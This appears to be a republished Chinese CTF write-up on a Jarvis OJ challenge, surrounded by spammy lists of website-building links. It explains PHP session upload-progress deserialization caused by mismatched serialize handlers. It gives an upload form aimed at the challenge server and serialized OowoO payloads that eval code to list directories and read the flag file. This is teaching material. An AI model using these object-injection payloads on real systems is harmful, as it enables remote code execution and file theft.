当前位置: 首页 > wzjs >正文

安阳市建设工程招标投标协会网站衡阳市住建局官方网站

安阳市建设工程招标投标协会网站,衡阳市住建局官方网站,百度seo排名优化软件,vi设计手册免费完整版漏洞利用原理 当在php.ini中设置session.upload_progress.enabled On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSIO…

 漏洞利用原理

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

在利用漏洞之前,在 php.ini 中需配置以下参数:

; 启用上传进度跟踪
session.upload_progress.enabled = On; 指定表单中用于标识上传进度的字段名(必须存在于上传表单中)
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"; 会话中进度数据的前缀(默认:upload_progress_)
session.upload_progress.prefix = "upload_progress_"; 上传完成后自动清理进度数据(默认:On)
session.upload_progress.cleanup = On

在文件上传表单中,必须包含一个隐藏字段,其 name 属性与 session.upload_progress.name 配置一致

<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="<?php echo ini_get('session.upload_progress.name'); ?>" value="unique_upload_id"><input type="file" name="file"><input type="submit" value="Upload">
</form>

在上传处理脚本(如 upload.php)中,注意必须先启动会话:

session_start(); 

题目

http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new OowoO();
}
else
{highlight_string(file_get_contents('index.php'));
}
?>
  • session.serialize_handler:用于指定处理会话数据序列化和反序列化的处理器。会话数据在存储(比如存储到文件、数据库等)前需要进行序列化,读取时再进行反序列化 。
  • session.upload_progress.enables设置为on,可以post文件并应用到session中 

源代码中设置的是php解释器,但是本地默认却是php_serialize解释器,解释方式不同引发漏洞 

 session_start()函数启动后,会按照ini_set()中设置的php格式去翻sess_xxxx文件

如果session_xxxx文件中有内容,如果文件内容与该代码中要求的php格式相同,则进行反序列化,如果不相同,则清空session_xxxx文件内容 

但是我们上传文件到sess_xxxx目录的时候,是用php_serialize解释的,因此没有把上传的 | 去掉

本地html post提交序列化的东西

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" / ><input type="submit" />
</form>

这里的value是识别会话的唯一标志符

文件上传时,PHP 将 PHP_SESSION_UPLOAD_PROGRESS 的值写入 $_SESSION,键名为 upload_progress_ + 唯一标识符。

先post提交名字为PHP_SESSION_UPLOAD_PROGRESS的数据,里面的值修改为序列化数据并在前面加上 xxx| ,写入的时候是按照php的格式,即 | 前面的是键名,后面的是真正的内容

xxx|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";} 

当页面加载时(如访问 index.php),PHP 自动加载会话数据并反序列化。反序列化的时候是按php_serialize读取数据的,此时恶意构造的数据就会成为一个具体的0owo0类 

构造序列化payload来读取flag:

  • __FILE__返回当前正在执行的脚本的完整文件名,包含路径信息
  • dirname()用于返回文件的目录部分,此时参数为__FILE__就是返回当前脚本所在的目录
  • scandir()就是扫描目录,并返回一个包含这些文件和目录名称的数组,在这里,它扫描的是当前脚本所在的目录。 
<?php
class OowoO
{public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$m = new OowoO();
echo serialize($m);
?>

先看看该运行着的文件同级目录中有没有其他文件 

发现可疑文件,利用file_get_contents()读取,但是这个函数读取需要完整的根路径,我们知道了__FILE__的路径就知道了该文件的路径 

修改$mdzz为'print_r(dirname(__FILE__));'

返回根目录的路径

所以 Here_1s_7he_fl4g_buT_You_Cannot_see.php 文件路径名就是/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php

修改$mdzz为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

 得到flag

方法二:也可以在filename中注入序列化内容

php在将sess_xxxx文件反序列化应用在全局变量$_SESSION中的时候用的是php格式,也就是本地默认的那个

因为写进去的sess_xxxx文件也是序列化的格式 ,只要 | 在,就能将后面的内容反序列化成一个具体的对象,然后根据 }; 来结束

 但是在filename中注入序列化和在contents中写入不同的是,文件名读取有 " " 限制,需要 \" 进行转义,否则只读到第一个 " 就停了

 

http://www.dtcms.com/wzjs/821621.html

相关文章:

  • 九江网站制作网站 用php asp源码 比较好
  • 备案网站服务内容微网站开发 课程标准
  • 网站服务器租赁费用学设计的网站都有哪些
  • 台州网站开发建设网站定制制作
  • 重庆新闻奖保定网站优化排名
  • 自己做的网站怎么放上网婚礼工作室网站模板
  • 湘潭网站建设选择湘潭振企网站建设国家企业工商注册查询官网入口
  • 青岛怎样做网站上海网站建设联系电
  • 将网站制作成app河南省住房城乡和建设厅网站
  • 龙华网站建设服务淘宝客建设网站需要哪些条件
  • 汉川市城乡建设局网站wordpress内部架构
  • 摄影网站官网大全站长工具查询域名
  • 网站域名申请程序福州seo经理招聘
  • 电子网站建设设计wordpress手机版注册
  • 网站建设及维护价钱禁忌网站有哪些
  • No家电网站建设wordpress 弹窗代码
  • 网站转入备案昆山网站开发
  • 外贸网站推广有用吗昆明seo和网络推广
  • 家具网站开发设计论文编辑网页用什么软件
  • 深圳住房和建设局网站wordpress阅读量造假
  • 网站开发方法 优帮云西宁网站seo外包
  • 如何查看网站权重网站建设开发工具
  • 广州东站建站时间网站建设+深圳+凡科
  • 中国建设协会网站首页电子商城网站开发项目描述
  • 杭州网站建设开发有限公司政务服务中心网站建设实施方案
  • 重钢建设公司官方网站优化手机访问网站速度
  • 做seo怎么设计网站网站快照优化怎么做
  • 有没有做公司网站的网上企业管理系统免费版
  • 伊犁北京网站建设网页设计实验报告总结模板
  • 工商网站官网查询赣州门户网站建设